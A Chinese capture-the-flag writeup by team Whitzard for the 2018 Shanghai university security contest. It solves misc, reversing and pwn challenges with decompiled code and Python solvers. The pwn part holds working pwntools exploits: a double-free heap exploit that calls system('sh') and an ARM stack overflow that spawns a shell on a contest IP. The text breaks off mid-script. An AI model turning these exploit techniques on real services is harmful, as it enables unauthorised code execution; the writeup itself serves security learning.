2018 上海市大学生网络安全大赛线上赛 Writeup by Whitzard

在本周末的第四届上海市网络安全大赛线上赛上,我们队伍的成员发挥出色,获得了线上赛的第一名(给大佬们递茶)。现在将题目的 writeup 发出来分享给大家。

Misc

签到

import base64
print(base64.b32decode('MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q===='))
#flag{35222d30-439e-4afb-91f4-abebc73fe05c}'

easy_py

拿到一个pyc 分析了一下发现中间被恶意插了一行字节码,把他删掉可以正常disasm。

1       0  JUMP_ABSOLUTE         6  'to 6'
           3  
           6  JUMP_ABSOLUTE         9  'to 9'
           9  LOAD_CONST            0  ''
          12  LOAD_CONST            1  10
          15  LOAD_CONST            2  7
          18  LOAD_CONST            3  1
          21  LOAD_CONST            4  29
          24  LOAD_CONST            5  14
          27  LOAD_CONST            2  7
          30  LOAD_CONST            6  22
          33  LOAD_CONST            6  22
          36  LOAD_CONST            7  31
          39  LOAD_CONST            8  57
          42  LOAD_CONST            9  30
          45  LOAD_CONST           10  9
          48  LOAD_CONST           11  52

   2      51  LOAD_CONST           12  27
          54  BUILD_LIST_15        15
          57  STORE_NAME            0  'cmp'

   3      60  LOAD_NAME             1  'raw_input'
          63  CALL_FUNCTION_0       0

   4      66  STORE_NAME            2  'flag'
          69  LOAD_CONST            0  ''
          72  STORE_NAME            3  'm'
          75  SETUP_LOOP           91  'to 169'
          78  LOAD_NAME             2  'flag'
          81  GET_ITER
          82  FOR_ITER             83  'to 168'
          85  STORE_NAME            4  'i'
          88  LOAD_NAME             5  'ord'
          91  LOAD_NAME             4  'i'
          94  CALL_FUNCTION_1       1
          97  UNARY_INVERT
          98  LOAD_CONST           13  102
         101  BINARY_AND
         102  LOAD_NAME             5  'ord'
         105  LOAD_NAME             4  'i'
         108  CALL_FUNCTION_1       1
         111  LOAD_CONST           18  -103
         114  BINARY_AND
         115  BINARY_OR
         116  STORE_NAME            4  'i'
         119  LOAD_NAME             4  'i'
         122  LOAD_NAME             0  'cmp'
         125  LOAD_NAME             3  'm'
         128  BINARY_SUBSCR
         129  COMPARE_OP            2  '=='
         132  POP_JUMP_IF_FALSE   144  'to 144'
         135  LOAD_NAME             3  'm'

   8     138  UNARY_NEGATIVE
         139  LOAD_CONST           14  -1
         142  BINARY_ADD
         143  UNARY_NEGATIVE

  10     144  STORE_NAME            3  'm'
         147  JUMP_BACK            73  'to 73'
         150  CONTINUE             73  'to 73'
         153  LOAD_CONST           15  'wrong'
         156  PRINT_ITEM
         157  PRINT_NEWLINE_CONT
         158  LOAD_NAME             6  'exit'
         161  CALL_FUNCTION_0       0
         164  POP_TOP
         165  JUMP_BACK            73  'to 73'
         168  POP_BLOCK
       169_0  COME_FROM                '75'
         169  LOAD_CONST           16  'right'
         172  PRINT_ITEM
         173  PRINT_NEWLINE_CONT

然后直接写python做逆操作

>>> comp=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
>>> s=""
>>> for i in comp:
...   s+=chr((-i-1)^(-103))
...
>>> s
'flag{happy_xoR}'

Pwn

memo_server

漏洞在于free时没清空指针,修改count即可double free。提示说无法直接getshell,不知所云。

from pwn import *
import re
import urllib
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(memo, count):
    r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(memo, count))
    ret = r.recvuntil('}\n')

def fre():
    r.sendline('''POST /count \nConnection: keep-alive\n\n''')
    ret = r.recvuntil('}\n')
def show():
    r.sendline('''GET /list \nConnection: keep-alive\n\n''')
    ret = r.recvuntil('</html>\n')
    return ret

def exploit(r):
    add('a'*4, 1)
    add('b'*4, 1)
    add('c'*4, 1)
    add('d'*4, 1)
    add('a'*48, 1)
    add('b'*48, 1)
    add('c'*48, 1)
    add('d'*48, 1)
    add('eee', 123456)
    fre()
    sleep(3)
    tmp = show()
    p = re.compile(r'<td>(.+?)</td>')
    tmp = re.findall(p, tmp)
    heap = u64(tmp[1].ljust(8, '\0')) & ~0xff
    assert heap != 0
    info('%016x heap', heap)

    add(p64(heap+0x60).replace('\x00', ''), 1)
    fre()
    sleep(3)
    add('ffffffff\x21', 1234)
    add(flat('A'*16, code.got['atoi']).replace('\x00', ''), 1234)

    tmp = show()
    p = re.compile(r'<td>(.+?)</td>')
    tmp = re.findall(p, tmp)
    for i in tmp:
        if i[-1] == '\x7f':
            libc.address = u64(i+'\0\0') - libc.sym['atoi']
            info('%016x libc.address', libc.address)
            break
    assert libc.address != 0

    add(p64(heap+0x180).replace('\x00', ''), 1)
    fre()
    sleep(3)
    #r.sendline('POST /echo \nConnection: keep-alive\n\ncontent=' + 'A'*1200)

    add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
    add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
    add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
    r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(urllib.quote(flat('A'*6, libc.sym['system'])).ljust(0x30, 'A'), 'sh'))
    #flag{f31e33ff-0fcc-49b3-b29c-6e4a4364e2e4}
    r.interactive()

baby_arm

栈溢出,打开NX跳shellcode。

from pwn import *
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

r = remote('106.75.126.171', 33865)

sc = asm(shellcraft.aarch64.linux.sh(), arch='aarch64').ljust(0x30) + p64(0x400600) + p64(0x411068)
r.sendafter('Name:', sc)

r.send(flat(cyclic(64), 1, 0x4008CC, [0,0x4008AC,0,0,0x411068+0x30,7,0x1000,0x411000]))

#flag{a62ddf9e-d3c4-4021-93ca-6d46361ed6bc}
r.interactive()

Re

cpp

题目有两个对输入进行处理并且验证的地方first_handle和second_handle:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char in; // [rsp+0h] [rbp-80h]
  char out; // [rsp+20h] [rbp-60h]
  char in_; // [rsp+40h] [rbp-40h]
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in, a2, a3);
  std::operator<<<std::char_traits<char>>(&std::cout, "input flag:");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &in);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in_, &in);
  first_handle((__int64)&out, (__int64)&in_, (__int64)&in_);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&in_);
  second_handle((__int64)&out);
  sub_40154E((__int64)&out);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&in);
  return 0LL;
}

第一处处理:

unsigned __int64 __fastcall sub_40111A(__int64 input)
{
  _BYTE *v1; // rbx
  int v2; // er12
  const char *v3; // rax
  int i; // [rsp+1Ch] [rbp-54h]
  char s1[43]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v7; // [rsp+58h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  s1[0] = 0x99u;
  s1[1] = 0xB0u;
  s1[2] = 0x87u;
  s1[3] = 0x9Eu;
  s1[4] = 0x84u;
  s1[5] = 0xA0u;
  s1[6] = 0xCBu;
  s1[7] = 0xEFu;
  s1[8] = 0x88u;
  s1[9] = 0x90u;
  s1[10] = 0xBBu;
  s1[11] = 0x8Eu;
  s1[12] = 0x91u;
  s1[13] = 0xE0u;
  s1[14] = 0xD2u;
  s1[15] = 0xAEu;
  s1[16] = 0xD4u;
  s1[17] = 0xC5u;
  s1[18] = 0x6F;
  s1[19] = 0xD7u;
  s1[20] = 0xC0u;
  s1[21] = 0x68;
  s1[22] = 0xC6u;
  s1[23] = 0x6A;
  s1[24] = 0x81u;
  s1[25] = 0xC9u;
  s1[26] = 0xB7u;
  s1[27] = 0xD7u;
  s1[28] = 0x61;
  s1[29] = 4;
  s1[30] = 0xDAu;
  s1[31] = 0xCFu;
  s1[32] = 0x3D;
  s1[33] = 0x5C;
  s1[34] = 0xD6u;
  s1[35] = 0xEFu;
  s1[36] = 0xD0u;
  s1[37] = 0x58;
  s1[38] = 0xEFu;
  s1[39] = 0xF2u;
  s1[40] = 0xADu;
  s1[41] = 0xADu;
  s1[42] = 0xDFu;
  for ( i = 0;
        i < (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(input);
        ++i )
  {
    v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
    v2 = 4 * *(char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
    *v1 = ((*(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i) >> 6) | v2) ^ i;
  }
  v3 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
  if ( strcmp(s1, v3) == 0 )                    // fake
  {
    sub_4012CE(input);                          // flag is: flag{7h15_15_4_f4k3_F14G_=3=_rua!}
    exit(0);
  }
  return __readfsqword(0x28u) ^ v7;
}

对输入进行移位异或的操作input[i]=(input[i]>>6)|((input[i]<<2))^i,之后和固定值比较,相等则输出假的成功信息。
第二处处理:

unsigned __int64 __fastcall second_handle(__int64 input)
{
  _BYTE *v1; // r12
  int v2; // ebx
  char v3; // r13
  const char *v4; // rax
  signed int i; // [rsp+18h] [rbp-58h]
  signed int j; // [rsp+1Ch] [rbp-54h]
  char s[32]; // [rsp+20h] [rbp-50h]
  char v9; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+48h] [rbp-28h]

  v10 = __readfsqword(0x28u);
  v9 = 0;
  s[0] = 0x99u;
  s[1] = -80;
  s[2] = -121;
  s[3] = -98;
  s[4] = 112;
  s[5] = -24;
  s[6] = 65;
  s[7] = 68;
  s[8] = 5;
  s[9] = 4;
  s[10] = -117;
  s[11] = -102;
  s[12] = 116;
  s[13] = -68;
  s[14] = 85;
  s[15] = 88;
  s[16] = -75;
  s[17] = 97;
  s[18] = -114;
  s[19] = 54;
  s[20] = -84;
  s[21] = 9;
  s[22] = 89;
  s[23] = -27;
  s[24] = 97;
  s[25] = -35;
  s[26] = 62;
  s[27] = 63;
  s[28] = -71;
  s[29] = 21;
  s[30] = -19;
  s[31] = -43;
  for ( i = 0; i <= 3; ++i )
  {
    for ( j = 1; j < strlen(s); ++j )
    {
      v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, j);
      v2 = *(unsigned __int8 *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                                 input,
                                 j);
      v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                       input,
                       j - 1) | v2;
      LOBYTE(v2) = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                               input,
                               j);
      *v1 = v3 & ~(v2 & *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                                    input,
                                    j - 1));
    }
  }
  v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
  if ( strncmp(v4, s, 32uLL) == 0 )             // real
    sub_401522();
  return __readfsqword(0x28u) ^ v10;
}

对经过移位异或后的输入进行运算(input[i-1]|input[i])&(~(input[i]&input[i-1])),然后和固定值比较,相等则输出真的成功信息。
下面是解密的脚本:

s1 = [153, 176, 135, 158, 132, 160, 203, 239, 136, 144, 187, 142, 145, 224, 210, 174, 212, 197, 111, 215, 192, 104, 198, 106, 129, 201, 183, 215, 97, 4, 218, 207, 61, 92, 214, 239, 208, 88, 239, 242, 173, 173, 223]
flag=""
# (input[i]>>6)|((input[i]<<2))^i
for i in range(len(s1)):
  tmp=(s1[i]^i)
  c=((tmp<<6)&0xff|(tmp>>2)&0xff)
  flag+=chr(c)
print flag
#flag is: flag{7h15_15_4_f4k3_F14G_=3=_rua!}
s=[153, 176, 135, 158, 112, 232, 65, 68, 5, 4, 139, 154, 116, 188, 85, 88, 181, 97, 142, 54, 172, 9, 89, 229, 97, 221, 62, 63, 185, 21, 237, 213]

for i in range(4):
  for j in range(len(s)-1,0,-1):
    a=s[j-1]|s[j]
    s[j]=a&(~(

       
       
       

    

Hacking more

...